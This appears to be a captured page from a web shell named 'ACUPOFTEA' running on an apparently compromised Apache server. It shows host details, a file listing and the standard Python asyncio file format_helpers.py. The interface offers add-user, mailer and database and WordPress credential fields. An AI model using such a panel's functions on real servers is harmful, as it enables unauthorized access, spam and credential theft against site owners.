System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python3.12
/
asyncio
/
216.73.216.5
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
format_helpers.py
import functools import inspect import reprlib import sys import traceback from . import constants def _get_function_source(func): func = inspect.unwrap(func) if inspect.isfunction(func): code = func.__code__ return (code.co_filename, code.co_firstlineno) if isinstance(func, functools.partial): return _get_function_source(func.func) if isinstance(func, functools.partialmethod): return _get_function_source(func.func) return None def _format_callback_source(func, args): func_repr = _format_callback(func, args, None) source = _get_function_source(func) if source: func_repr += f' at {source[0]}:{source[1]}' return func_repr def _format_args_and_kwargs(args, kwargs): """Format function arguments and keyword arguments. Special case for a single parameter: ('hello',) is formatted as ('hello'). """ # use reprlib to limit the length of the output items = [] if args: items.extend(reprlib.repr(arg) for arg in args) if kwargs: items.extend(f'{k}={reprlib.repr(v)}' for k, v in kwargs.items()) return '({})'.format(', '.join(items)) def _format_callback(func, args, kwargs, suffix=''): if isinstance(func, functools.partial): suffix = _format_args_and_kwargs(args, kwargs) + suffix return _format_callback(func.func, func.args, func.keywords, suffix) if hasattr(func, '__qualname__') and func.__qualname__: func_repr = func.__qualname__ elif hasattr(func, '__name__') and func.__name__: func_repr = func.__name__ else: func_repr = repr(func) func_repr += _format_args_and_kwargs(args, kwargs) if suffix: func_repr += suffix return func_repr def extract_stack(f=None, limit=None): """Replacement for traceback.extract_stack() that only does the necessary work for asyncio debug mode. """ if f is None: f = sys._getframe().f_back if limit is None: # Limit the amount of work to a reasonable amount, as extract_stack() # can be called for each coroutine and future in debug mode. limit = constants.DEBUG_STACK_DEPTH stack = traceback.StackSummary.extract(traceback.walk_stack(f), limit=limit, lookup_lines=False) stack.reverse() return stack
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-12-09 10:58:06
..
DIR
-
drwxr-xr-x
2025-12-09 10:58:06
__pycache__
DIR
-
drwxr-xr-x
2025-12-09 10:58:06
__init__.py
text/plain
1.19 KB
-rw-r--r--
2025-06-03 03:41:47
__main__.py
text/x-script.python
3.41 KB
-rw-r--r--
2025-06-03 03:41:47
base_events.py
text/plain
76.73 KB
-rw-r--r--
2025-06-03 03:41:47
base_futures.py
text/x-script.python
1.93 KB
-rw-r--r--
2025-06-03 03:41:47
base_subprocess.py
text/x-script.python
8.66 KB
-rw-r--r--
2025-06-03 03:41:47
base_tasks.py
text/x-script.python
2.61 KB
-rw-r--r--
2025-06-03 03:41:47
constants.py
text/x-script.python
1.38 KB
-rw-r--r--
2025-06-03 03:41:47
coroutines.py
text/x-script.python
3.26 KB
-rw-r--r--
2025-06-03 03:41:47
events.py
text/plain
28.65 KB
-rw-r--r--
2025-06-03 03:41:47
exceptions.py
text/plain
1.71 KB
-rw-r--r--
2025-06-03 03:41:47
format_helpers.py
text/x-script.python
2.35 KB
-rw-r--r--
2025-06-03 03:41:47
futures.py
text/plain
14 KB
-rw-r--r--
2025-06-03 03:41:47
locks.py
text/plain
18.55 KB
-rw-r--r--
2025-06-03 03:41:47
log.py
text/plain
124 B
-rw-r--r--
2025-06-03 03:41:47
mixins.py
text/plain
481 B
-rw-r--r--
2025-06-03 03:41:47
proactor_events.py
text/plain
32.71 KB
-rw-r--r--
2025-06-03 03:41:47
protocols.py
text/plain
6.79 KB
-rw-r--r--
2025-06-03 03:41:47
queues.py
text/x-script.python
7.79 KB
-rw-r--r--
2025-06-03 03:41:47
runners.py
text/x-script.python
7.06 KB
-rw-r--r--
2025-06-03 03:41:47
selector_events.py
text/plain
47.2 KB
-rw-r--r--
2025-06-03 03:41:47
sslproto.py
text/x-script.python
31.15 KB
-rw-r--r--
2025-06-03 03:41:47
staggered.py
text/plain
6.91 KB
-rw-r--r--
2025-06-03 03:41:47
streams.py
text/x-script.python
26.97 KB
-rw-r--r--
2025-06-03 03:41:47
subprocess.py
text/x-script.python
7.56 KB
-rw-r--r--
2025-06-03 03:41:47
taskgroups.py
text/x-script.python
9.33 KB
-rw-r--r--
2025-06-03 03:41:47
tasks.py
text/plain
36.49 KB
-rw-r--r--
2025-06-03 03:41:47
threads.py
text/plain
790 B
-rw-r--r--
2025-06-03 03:41:47
timeouts.py
text/x-script.python
5.2 KB
-rw-r--r--
2025-06-03 03:41:47
transports.py
text/plain
10.47 KB
-rw-r--r--
2025-06-03 03:41:47
trsock.py
text/x-script.python
2.42 KB
-rw-r--r--
2025-06-03 03:41:47
unix_events.py
text/plain
51.88 KB
-rw-r--r--
2025-06-03 03:41:47
windows_events.py
text/plain
31.82 KB
-rw-r--r--
2025-06-03 03:41:47
windows_utils.py
text/plain
4.94 KB
-rw-r--r--
2025-06-03 03:41:47
~ ACUPOFTEA - accounting.gulfstore-gcc.com